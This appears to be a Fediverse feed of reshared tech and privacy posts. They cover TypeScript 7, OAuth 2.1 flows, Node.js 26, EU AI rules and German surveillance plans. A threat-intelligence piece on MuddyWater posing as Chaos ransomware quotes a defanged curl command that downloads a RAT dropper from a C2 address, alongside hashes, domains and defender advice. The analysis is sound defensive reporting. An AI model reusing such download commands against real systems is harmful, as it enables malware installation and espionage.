  • IntelliSense e completamenti. I suggerimenti di codice e le informazioni sui parametri appaiono più velocemente, soprattutto nei progetti grandi dove in precedenza si notava un ritardo.
  • Find All References. La ricerca di riferimenti nell’intera soluzione è significativamente più rapida.
  • Go to Definition. La navigazione alle definizioni è più reattiva.
  • Diagnostica degli errori. Le sottolineature rosse e la lista degli errori si aggiornano più rapidamente mentre si scrive.
  • Tempi di caricamento dei progetti. L’apertura di progetti TypeScript e JavaScript è notevolmente più veloce, con tempi ridotti di circa 8x.


Come controllare quale versione di TypeScript usa Visual Studio


Visual Studio usa il compilatore TypeScript integrato solo quando il progetto non specifica una versione locale. Se nel tuo progetto è installato TypeScript tramite npm, Visual Studio userà automaticamente quella versione invece di quella integrata.

Disabilitare la native preview di TypeScript 7


Se preferisci tornare al language service precedente, puoi disabilitare la native preview in Visual Studio. Vai in Strumenti > Opzioni > Funzionalità di anteprima e cerca “native preview”. Deseleziona l’opzione Enable JavaScript/TypeScript Native Language Service Preview e riavvia Visual Studio.

Usare TypeScript 6.x (GA)


Per usare la release stabile corrente, installa il pacchetto typescript nel tuo progetto:

npm install -D typescript@^6.0.0


Visual Studio rileverà la versione nella cartella node_modules e utilizzerà quella invece del compilatore integrato.

Fissare una versione specifica della native preview


Se vuoi usare esplicitamente la native preview ma fissare una versione specifica, installa il pacchetto @typescript/native-preview:

npm install -D @typescript/native-preview@beta


Problemi noti (e come aggirarli)


TypeScript 7 porta miglioramenti significativi, ma il team Microsoft è ancora al lavoro per raggiungere la parità completa di funzionalità con il compilatore precedente. Ecco i problemi noti più rilevanti per il lavoro quotidiano:

  • IntelliSense. In alcuni casi i completamenti potrebbero non apparire. Nei file .cshtml, l’elenco dei completamenti potrebbe non apparire all’interno di un tag <script>. Premere Ctrl+Space può aggirare il problema.
  • Azioni codice e refactoring. Le correzioni rapide (Ctrl+.) non sono ancora disponibili. Il comando Organize Imports (Ctrl+R, Ctrl+G) non è disponibile.
  • Navigazione e ricerca. I dropdown della barra di navigazione in cima all’editor non mostrano i simboli del documento. Find All References (Shift+F12) mostra una lista piatta senza raggruppamento semantico.
  • CodeLens. I contatori di riferimenti (es. “19 references”) non appaiono sopra le dichiarazioni di interfacce e classi.
  • Rinomina file. Rinominare un file o una cartella in un progetto TypeScript non aggiorna in modo consistente i percorsi di import negli altri file.
  • File watching. Quando i file vengono modificati fuori da Visual Studio, le modifiche non vengono rilevate finché il file non viene aperto e modificato nell’IDE.


Come riportare feedback


Se riscontri problemi con il compilatore o il language service TypeScript 7, il posto migliore per segnalarli è il repository GitHub typescript-go.

Per problemi specifici di Visual Studio, usa Developer Community per segnalare bug o suggerire miglioramenti.

Quando aggiornare?


Se lavori su progetti TypeScript/JavaScript di grandi dimensioni in Visual Studio, i guadagni di performance giustificano la prova della native preview già ora, accettando i problemi noti. Per progetti più piccoli o in produzione dove la stabilità è critica, è ragionevole aspettare il rilascio stabile di TypeScript 7 o fissare esplicitamente la versione 6.x nel progetto.

In ogni caso, il messaggio è chiaro: la direzione di Microsoft è verso un TypeScript nativo, più veloce e meno esigente in termini di risorse. Vale la pena familiarizzare ora con le nuove opzioni di configurazione.


Fonte: TypeScript 7 Beta Now Enabled by Default in Visual Studio 2026 18.6 Insiders 3 di Sayed Ibrahim Hashimi (Visual Studio Blog)


The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Vercel Data Breach: ShinyHunters Exploit OAuth Supply Chain Attack to Steal Customer Credentials for $2M Sale
#CyberSecurity
securebulletin.com/vercel-data…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario
#tech
spcnet.it/oauth-2-1-spiegato-s…
@informatica


OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario


OAuth 2.0 è stato a lungo sinonimo di complessità: sei grant type diversi, tutorial spesso contraddittori, e sviluppatori che finivano per scegliere il flusso sbagliato e pubblicare applicazioni insicure. Nel 2026 questo scenario appartiene al passato. OAuth 2.1 ha fatto ciò che la community chiedeva da anni: ha eliminato i flussi pericolosi, ha reso PKCE obbligatorio su ogni grant di autorizzazione, e ha lasciato una specifica molto più facile da imparare e quasi impossibile da usare in modo scorretto.

Se state sviluppando con .NET 10, questo articolo copre tutto ciò che dovete sapere. Tre flussi. Cinque secondi per scegliere quello giusto. Partiamo.

Il problema con OAuth 2.0


OAuth 2.0 nacque con una buona intenzione: delegare l’autorizzazione senza condividere le credenziali. Ma la specifica era così flessibile da includere flussi profondi (come l’Implicit Flow per le SPA) che erano già problematici nel 2012 e sono diventati veri e propri anti-pattern con l’evoluzione del web. Il risultato? Anni di articoli in conflitto, sviluppatori confusi, e vulnerabilità di sicurezza difficili da rilevare in code review.

OAuth 2.1 risolve questo alla radice: mantiene quello che funziona, rimuove quello che è pericoloso, e consolida le best practice nel testo normativo stesso.

Flusso 1: Client Credentials — comunicazione machine-to-machine


Quando nessun utente umano è coinvolto nella comunicazione, si usa il flusso Client Credentials. Esempi tipici:

  • Un job notturno che interroga un’API di reportistica
  • Un microservizio di spedizione che notifica il microservizio di inventario
  • Un worker in background che elabora una coda di messaggi
  • Un’API interna che chiama un altro servizio interno

In questi scenari, è il servizio stesso ad essere l’identità — agisce per proprio conto, non per conto di un utente. Il flusso è diretto e senza reindirizzamenti browser:

  1. Il servizio invia le proprie credenziali al token service via HTTP POST
  2. Il token service verifica l’identità e restituisce un access token
  3. Il servizio usa il token per chiamare le API target


// .NET 10 — richiesta di un token Client Credentials con IdentityModel
var client = new HttpClient();
var response = await client.RequestClientCredentialsTokenAsync(
    new ClientCredentialsTokenRequest
    {
        Address = "https://identity.example.com/connect/token",
        ClientId = "service-a",
        ClientSecret = "segreto-sicuro",
        Scope = "api1.read api1.write"
    });

var accessToken = response.AccessToken;
// Usa accessToken nell'Authorization header delle chiamate successive


OAuth 2.1 supporta tre meccanismi di autenticazione del client, in ordine crescente di sicurezza:
  • Client secret: client_id e client_secret nell’header Basic o nel body — semplice ma richiede una buona gestione dei segreti
  • private_key_jwt: il client firma un JWT con la propria chiave privata; il token service valida la firma con la chiave pubblica registrata
  • Mutual TLS (mTLS): autenticazione al livello di trasporto con certificati X.509 — massima sicurezza per ambienti ad alto rischio


Flusso 2: Authorization Code + PKCE — applicazioni con utente


Se un essere umano deve autenticarsi, questa è la risposta universale. Che si tratti di un’app Razor Pages server-side, un’app mobile nativa, un’applicazione desktop o una SPA dietro un Backend-for-Frontend, Authorization Code con PKCE è il flusso corretto in OAuth 2.1 — senza eccezioni.

Come funziona


  1. L’applicazione reindirizza l’utente all’authorization endpoint del provider di identità
  2. L’utente si autentica (password, MFA, policy aziendali)
  3. Il provider reindirizza l’utente all’applicazione con un authorization code di breve durata
  4. L’applicazione scambia il codice per i token tramite una chiamata back-channel diretta

Le credenziali dell’utente non toccano mai l’applicazione. I token non transitano mai attraverso la barra degli indirizzi del browser.

PKCE: protezione contro l’intercettazione del codice


PKCE (Proof Key for Code Exchange, pronunciato “pixie”) aggiunge uno strato critico di protezione all’exchange del codice. Prima di avviare il flusso, l’applicazione:

  1. Genera una stringa casuale (code_verifier)
  2. Calcola il suo hash SHA-256 (code_challenge)
  3. Invia il code_challenge nella richiesta di autorizzazione

Quando poi scambia il codice per i token, invia il code_verifier originale. Il token service verifica che l’hash corrisponda alla challenge registrata. Un attaccante che intercetta l’authorization code — attraverso un’app malevola sullo stesso custom URI scheme, un redirect compromesso, o qualsiasi altro vettore — non può usarlo senza il code_verifier. Il codice è inutile senza di esso.

// .NET 10 — configurazione OIDC con Authorization Code + PKCE
builder.Services
    .AddAuthentication(options =>
    {
        options.DefaultScheme = "cookie";
        options.DefaultChallengeScheme = "oidc";
    })
    .AddCookie("cookie")
    .AddOpenIdConnect("oidc", options =>
    {
        options.Authority = "https://identity.example.com";
        options.ClientId = "web-app";
        options.ClientSecret = "segreto-sicuro";
        options.ResponseType = "code";       // Authorization Code Flow
        options.UsePkce = true;              // PKCE (abilitato di default in .NET)
        options.SaveTokens = true;
        options.Scope.Add("openid");
        options.Scope.Add("profile");
        options.Scope.Add("api1.read");
    });


Nota importante sulle SPA: le best practice correnti raccomandano di non esporre token al codice JavaScript lato client. Le SPA dovrebbero usare il pattern Backend-for-Frontend (BFF), dove è il server a gestire il flusso OIDC e a esporre solo cookie di sessione al browser.

Flusso 3: Device Authorization — dispositivi senza browser


Alcuni dispositivi non hanno un browser o una tastiera utilizzabile: smart TV, console di gioco, sensori IoT, strumenti CLI in ambienti headless. Non si può reindirizzare un utente a una pagina di login che non esiste.

Il flusso Device Authorization (RFC 8628) risolve questo con un pattern disaccoppiato:

  1. Il dispositivo richiede un codice utente e un URL di verifica al token service
  2. Il dispositivo mostra all’utente qualcosa come: “Vai su login.example.com/device e inserisci il codice: ABCD-1234”
  3. L’utente prende il proprio telefono o laptop, naviga all’URL, inserisce il codice e si autentica normalmente
  4. Nel frattempo, il dispositivo fa polling al token endpoint a intervalli regolari
  5. Quando l’utente completa l’autenticazione, il dispositivo riceve l’access token

È semplice, sicuro, e non richiede al dispositivo vincolato di rendere un’interfaccia di login.

L’albero decisionale di OAuth 2.1


Scegliere il flusso corretto richiede esattamente due domande:

  1. È coinvolto un utente umano?No → Client Credentials
    • Sì → vai al punto 2


  2. Il dispositivo ha un browser?Sì → Authorization Code + PKCE
    • No → Device Authorization


Questo è l’intero albero decisionale. Niente eccezioni. Niente casi speciali (a parte scenari legacy di migrazione).

Cosa ha rimosso OAuth 2.1 e perché


Tre flussi di OAuth 2.0 sono stati eliminati dallo standard. Non è necessario impararli per le nuove applicazioni, ma capire perché sono stati rimossi aiuta a riconoscerli se ci si imbatte in codice datato:

  • Implicit Flow: era nato per le SPA in un’epoca in cui i browser non supportavano chiamate cross-origin POST. Restituiva i token direttamente nel fragment dell’URL, rendendoli visibili nella history del browser, nelle intestazioni referer e nei log del server. Con il supporto universale di CORS, la sua ragion d’essere è svanita.
  • Resource Owner Password Credentials (ROPC): chiedeva agli utenti di digitare username e password direttamente nell’applicazione client — vanificando l’intero scopo di OAuth. Non supportava MFA o login federato, e abituava gli utenti a consegnare le proprie credenziali ad app che non avrebbero dovuto averle.
  • Authorization Code senza PKCE: funzionava sulle app server-side, ma su piattaforme mobile più applicazioni possono registrarsi sullo stesso URI scheme personalizzato. Un’app malevola poteva intercettare l’authorization code e scambiarlo per token. Con PKCE obbligatorio, il codice intercettato diventa inutile.


Conclusioni


OAuth 2.1 è il protocollo di autorizzazione che avremmo voluto avere dal principio: tre flussi chiari, PKCE obbligatorio, nessuna ambiguità nella scelta. Per chi sviluppa in .NET 10, l’ecosistema è già allineato — le librerie come Duende IdentityServer e IdentityModel implementano questi pattern nativamente. Il passo successivo è una revisione del codice esistente per identificare eventuali flussi legacy da migrare.

Fonte: OAuth 2.1 Made Simple: The Only Flows You Need — Khalid Abuhakmeh, Duende Software, 6 maggio 2026


The Privacy Post ha ricondiviso questo.

Die EU will die KI-Verordnung aufweichen. Eine erste Einigung sieht nun vor, bestimmte Regulierungen für die Industrie abzuschwächen und zeitlich deutlich nach hinten zu verschieben. Hinzugekommen ist ein Verbot von KI-Anwendungen, mit denen sexualisierte Deepfakes erstellt werden können.

netzpolitik.org/2026/ki-verord…

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime
#CyberSecurity
insicurezzadigitale.com/muddyw…


MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime


Si parla di:
Toggle

Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.

Il gruppo MuddyWater: identità e contesto operativo


MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.

In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.

La falsa bandiera: cos’è il ransomware Chaos


Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.

La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.

La catena di attacco: dal social engineering alla persistenza silenziosa


L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.

La fase successiva ha visto il download del dropper principale tramite RDP:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Il dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).

Il RAT Game.exe: analisi tecnica


Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.

L’attribuzione: il “tell” nel certificato di firma


Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.

La convergenza tra APT e cybercrime: una tendenza sistemica


Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.

Indicatori di Compromissione (IoC)

# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
C:\ProgramData\ms_upd.exe

Due righe per i difensori


  • Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
  • Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
  • Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
  • MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
  • Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.


The Privacy Post ha ricondiviso questo.

Wann setzt Europa seine Digitalgesetze gegen Tech-Konzerne durch? Die EU-Kommission knickt ein, fürchten Abgeordnete und Vertreter:innen der Zivilgesellschaft. Nun wollen sie Kommissionspräsidentin Ursula von der Leyen Beine machen. netzpolitik.org/2026/verfahren…
The Privacy Post ha ricondiviso questo.

🏆 Nominate the #FreeSoftware Contributor of the Year🏆🏆
The 2026 European SFS Award Nomination is opened! Submit your nominations by 25 May 2026! cloud.opendatahub.com/index.ph…

The European SFS Award, by the Linux User Group Bolzano-Bozen (#LUGBZ) and with the collaboration of the FSFE, recognises individuals whose work has made a significant and sustained difference in advancing Free Software across Europe.

More info: sfscon.it/award-nomination/

Questa voce è stata modificata (1 mese fa)

reshared this

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy
#tech
spcnet.it/node-js-26-0-0-tempo…
@informatica


Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy


Il 5 maggio 2026 il team di Node.js ha rilasciato la versione 26.0.0, denominata “Current”, che introduce cambiamenti significativi alla piattaforma runtime JavaScript server-side più diffusa al mondo. Node.js 26 entrerà in Long-Term Support (LTS) nell’ottobre 2026: da quel momento sarà la release raccomandata per ambienti di produzione. Nel frattempo, i sei mesi di status “Current” sono il momento ideale per esplorare le novità e valutare l’impatto sulle proprie applicazioni.

Temporal API abilitata di default


La novità più attesa di Node.js 26 è l’abilitazione di default della Temporal API, la moderna API JavaScript per la gestione di date e orari. Per anni, la community ha convissuto con i limiti dell’oggetto Date: mancanza di supporto per i fusi orari, comportamenti incoerenti, mutabilità non controllata, e risultati controintuitivi in molti scenari di internazionalizzazione.

Temporal risolve tutti questi problemi alla radice, introducendo un sistema di tipi ricco e immutabile:

  • Temporal.PlainDate: una data senza orario né fuso orario
  • Temporal.PlainTime: un orario senza data né fuso orario
  • Temporal.PlainDateTime: data e orario senza fuso orario
  • Temporal.ZonedDateTime: data e orario con fuso orario esplicito
  • Temporal.Instant: un momento preciso nel tempo (come un timestamp Unix)
  • Temporal.Duration: un intervallo di tempo

Ecco un esempio pratico di come Temporal semplifica operazioni che con Date richiedevano librerie esterne come Luxon o date-fns:

// Ottenere la data di oggi in un fuso orario specifico
const oggi = Temporal.Now.plainDateISO('Europe/Rome');
console.log(oggi.toString()); // "2026-05-07"

// Aggiungere 30 giorni senza preoccuparsi dei mesi
const traThentaGiorni = oggi.add({ days: 30 });
console.log(traThentaGiorni.toString()); // "2026-06-06"

// Calcolare la differenza tra due date
const inizio = Temporal.PlainDate.from('2026-01-01');
const fine = Temporal.PlainDate.from('2026-12-31');
const differenza = inizio.until(fine);
console.log(differenza.days); // 364

// Lavorare con fusi orari in modo esplicito
const appuntamento = Temporal.ZonedDateTime.from({
  year: 2026,
  month: 5,
  day: 15,
  hour: 14,
  minute: 30,
  timeZone: 'America/New_York'
});
const inRoma = appuntamento.withTimeZone('Europe/Rome');
console.log(inRoma.toLocaleString('it-IT'));

Fino a Node.js 25, Temporal era disponibile ma richiedeva il flag --harmony-temporal. Ora è parte integrante del runtime e non serve alcuna configurazione aggiuntiva.

V8 14.6: due nuove proposte TC39


Il motore JavaScript V8 è stato aggiornato alla versione 14.6.202.33 (Chromium 146), portando con sé due importanti proposte TC39 ora disponibili nativamente:

Upsert: Map.prototype.getOrInsert()


La proposta Upsert introduce i metodi getOrInsert() e getOrInsertComputed() su Map e WeakMap. Si tratta di un pattern molto comune nello sviluppo: controllare se una chiave esiste in una mappa, e se non esiste, inserire un valore di default e restituirlo.

// Prima di Node.js 26 - verboso e ripetitivo
function getOrCreate(map, key, defaultValue) {
  if (!map.has(key)) {
    map.set(key, defaultValue);
  }
  return map.get(key);
}

const cache = new Map();
const utenti = getOrCreate(cache, 'admin', []);
utenti.push('mario');

// Con Node.js 26 - conciso e leggibile
const cache = new Map();
const utenti = cache.getOrInsert('admin', []);
utenti.push('mario');

// Versione con factory function (lazy initialization)
const grandi = cache.getOrInsertComputed('admin', (key) => {
  return recuperaUtentiDalDb(key); // calcolato solo se necessario
});

Iterator sequencing: Iterator.concat()


La proposta Iterator sequencing introduce Iterator.concat(), che permette di concatenare più iteratori senza materializzarli tutti in memoria contemporaneamente:

// Concatenare lazily più sorgenti di dati
const paginaUno = [1, 2, 3][Symbol.iterator]();
const paginaDue = [4, 5, 6][Symbol.iterator]();
const paginaTre = [7, 8, 9][Symbol.iterator]();

const tuttiGliElementi = Iterator.concat(paginaUno, paginaDue, paginaTre);
for (const elemento of tuttiGliElementi) {
  console.log(elemento); // 1, 2, 3, 4, 5, 6, 7, 8, 9
}

Undici 8.0: il client HTTP di nuova generazione


La libreria Undici, il client HTTP integrato in Node.js, è stata aggiornata alla versione 8.0.2. Undici è il motore dietro fetch() nativo in Node.js ed è progettato per prestazioni e correttezza del protocollo HTTP/1.1 e HTTP/2. La versione 8 porta miglioramenti all’implementazione di WebSocket, gestione delle connessioni e supporto per proxy avanzati.

Deprecazioni e rimozioni importanti


Come ogni major version, Node.js 26 rimuove API che erano state deprecate nelle versioni precedenti. Ecco le più impattanti:

Rimozione di http.Server.prototype.writeHeader()


Il metodo writeHeader() è stato definitivamente rimosso. Era già deprecato da anni: la forma corretta è writeHead().

// ❌ Non funziona più in Node.js 26
res.writeHeader(200, { 'Content-Type': 'application/json' });

// ✅ Forma corretta
res.writeHead(200, { 'Content-Type': 'application/json' });

Rimozione dei moduli legacy _stream_*


I moduli interni _stream_wrap, _stream_readable, _stream_writable, _stream_duplex, _stream_transform e _stream_passthrough sono stati rimossi definitivamente. Se li state importando direttamente (cosa sconsigliata ma ancora diffusa in codice datato), dovete migrare all’API pubblica:

// ❌ Non funziona più
const { Readable } = require('_stream_readable');

// ✅ Sempre corretto
const { Readable } = require('stream');
// o con ESM:
import { Readable } from 'node:stream';

Rimozione di –experimental-transform-types


Il flag --experimental-transform-types, che abilitava la trasformazione automatica dei tipi TypeScript a runtime, è stato rimosso. Per eseguire TypeScript in Node.js, la raccomandazione ufficiale rimane l’uso di --experimental-strip-types (disponibile dalla v22.6+) oppure di tool dedicati come tsx o ts-node.

Deprecazioni runtime


Diverse API passano ora a deprecazione a runtime, il che significa che genereranno un avviso quando utilizzate, senza però bloccare l’esecuzione:

  • module.register() — deprecato in favore di import.meta.url patterns
  • Alcune API crypto (DEP0203, DEP0204) legate a formati di chiavi obsoleti
  • Alcune API stream (DEP0201)


Come aggiornare


Per installare Node.js 26 tramite nvm:

nvm install 26
nvm use 26
node --version  # v26.0.0

Con fnm:
fnm install 26
fnm use 26

Prima di aggiornare i progetti in produzione, si raccomanda di:
  1. Verificare che tutte le dipendenze siano compatibili con Node.js 26 (controllate le note di release dei principali package)
  2. Cercare nel codice le API rimosse: writeHeader, _stream_*, --experimental-transform-types
  3. Testare il comportamento della Temporal API se il vostro codice ha workaround per Date
  4. Abilitare i log delle deprecazioni runtime con NODE_OPTIONS='--trace-deprecation'


Conclusioni


Node.js 26 è una release di maturazione: la Temporal API è finalmente pronta per la produzione, V8 14.6 porta proposte TC39 da lungo tempo attese, e le rimozioni puliscono la piattaforma dagli artefatti del passato. Per chi lavora su progetti Node.js, questo è il momento di iniziare i test su questa versione in vista dell’ingresso in LTS di ottobre 2026.

Fonte: Node.js 26.0.0 Release Notes — nodejs.org, 5 maggio 2026


The Privacy Post ha ricondiviso questo.

📊 Vor einem Jahr veröffentlichte das Max-Planck-Institut zur Erforschung von Kriminalität, Sicherheit und Recht die erste „Überwachungsgesamtrechnung“ – eine Analyse der Überwachungsbefugnisse und -maßnahmen der Sicherheits- und Strafverfolgungsbehörden in Deutschland.

Viele Behörden seien allerdings nicht in der Lage gewesen, belastbare Daten über die von ihnen durchgeführten Maßnahmen bereitzustellen – ein Umstand, der eine transparente Debatte erheblich erschwert.

🔗 csl.mpg.de/813252/ueberwachung…

in reply to Stiftung Datenschutz

📌 Doch was hat sich seitdem getan?

Die Überwachung in verschiedenen Lebensbereichen hat weiter zugenommen. So hat das Bundeskabinett ein Gesetzespaket zur digitalen Rasterfahndung auf den Weg gebracht.

Vorgesehen sind unter anderem ein biometrischer Internetabgleich sowie KI-gestützte Analysen von Polizeidaten. Der Gesetzentwurf wird im Bundestag und Bundesrat beraten.

🔗 heise.de/news/Digitale-Rasterf…

in reply to Stiftung Datenschutz

Die geplante Datenanalyse, bei der Informationen aus zahlreichen Quellen zusammengeführt werden, könnte umfassende Persönlichkeitsprofile ermöglichen und stößt auf Kritik.

@netzpolitik_feed berichtet, dass KI-Systeme mit persönlichen Daten trainiert werden sollen – teilweise ohne Anonymisierung und in Kooperation mit privaten Unternehmen.

🔗 netzpolitik.org/2026/faq-das-u…

👉 Jetzt ist ein guter Zeitpunkt, sich die Überwachungsgesamtrechnung noch einmal genauer anzusehen.

#TeamDatenschutz

reshared this

The Privacy Post ha ricondiviso questo.

#Meta will uns bis auf die Knochen überwachen – literally! ☠️🦴

Auf der Suche nach Minderjährigen will Meta Nutzer*innen auf Facebook und Instagram umfassend durchleuchten. Eine als KI bezeichnete Software soll unter anderem die Knochenstruktur abgebildeter Personen in Fotos und Videos auswerten.

Warum macht Meta das? Ist das neu? Dürfen die das?

Lest hier meine Analyse @netzpolitik_feed

netzpolitik.org/2026/du-siehst…

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

1/3 🚨 Early this morning, EU lawmakers sealed the deal on the EU's #AIOmnibus.

The outcome of the final negotiations is not surprising, given the massive #deregulation push from parts of the European Commission, the German government, industry actors, and some lawmakers.

But it is still deeply disappointing 🙅🏽‍♀️

With this morning's deal, we will have... 🧵

in reply to EDRi

2/3 🚫 A delay to key high-risk AI obligations, weakening accountability of those developing, selling or deploying AI systems

🚫 A watering down of protections against some risky and harmful AI systems, including through a carve-out for industrial AI

🚫 Less legal certainty, as compliance with important safeguards is postponed and parts of the framework become more fragmented

🚫 A worrying precedent for reopening hard-won #DigitalRights protections before they have even had the chance to apply

in reply to EDRi

3/3 The message is clear: when powerful actors complain loudly enough, safeguards can be recast as burdens and rules that protect people can be reopened.

❤️‍🩹 This does not make the EU digital rulebook simpler. It makes it weaker, harder to enforce, and less protective of people’s rights.

It also confirms a dangerous direction of travel: companies are being given more space to mark their own homework, while #FundamentalRights, justice and democratic oversight are pushed further to the margins.

reshared this

The Privacy Post ha ricondiviso questo.

Auf der Suche nach Minderjährigen will Meta Nutzer*innen auf Facebook und Instagram umfassend durchleuchten. Der Konzern will sogar die Knochenstruktur von Menschen auf Fotos auswerten. Wie gefährlich ist das? Die Analyse @sebmeineck

netzpolitik.org/2026/du-siehst…

The Privacy Post ha ricondiviso questo.

Das „Schwarze Loch“ für die unregulierte Datenanalyse: Europol entzog eine mutmaßlich illegale Schatten-IT jahrelang der Kontrolle. Dennoch will die EU-Kommission Europol nun mit deutlich mehr Budget und Personal ausstatten netzpolitik.org/2026/correctiv…
The Privacy Post ha ricondiviso questo.

Das war ja klar, dass in Baden-Württemberg unter Özdemir und Hagel ein Ausbau der Überwachung zu erwarten ist. Aber dass dann gleich alle Hemmschwellen fallen ... Im Koalitionsvertrag versprechen die Herren, in drei Städten Videokameras zu installieren, die gleichzeitig Verhalten und Gesichter erkennen können. Die Kombination beider Technologien galt bislang als unvermittelbar, weil jede einzelne schon so tief in die Persönlichkeitsrechte eingreift. Aber naja, da sind wir. netzpolitik.org/2026/koalition…
The Privacy Post ha ricondiviso questo.

Grün-Schwarz will in Baden-Württemberg als erstem Bundesland doppelte KI-Videoüberwachung ausrollen: Kameras, die Menschen auf verdächtiges Verhalten überprüfen und sie gleichzeitig mit Gesichtserkennung analysieren. In Mannheim und zwei weiteren Städten soll das Pilotprojekt starten. netzpolitik.org/2026/koalition…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

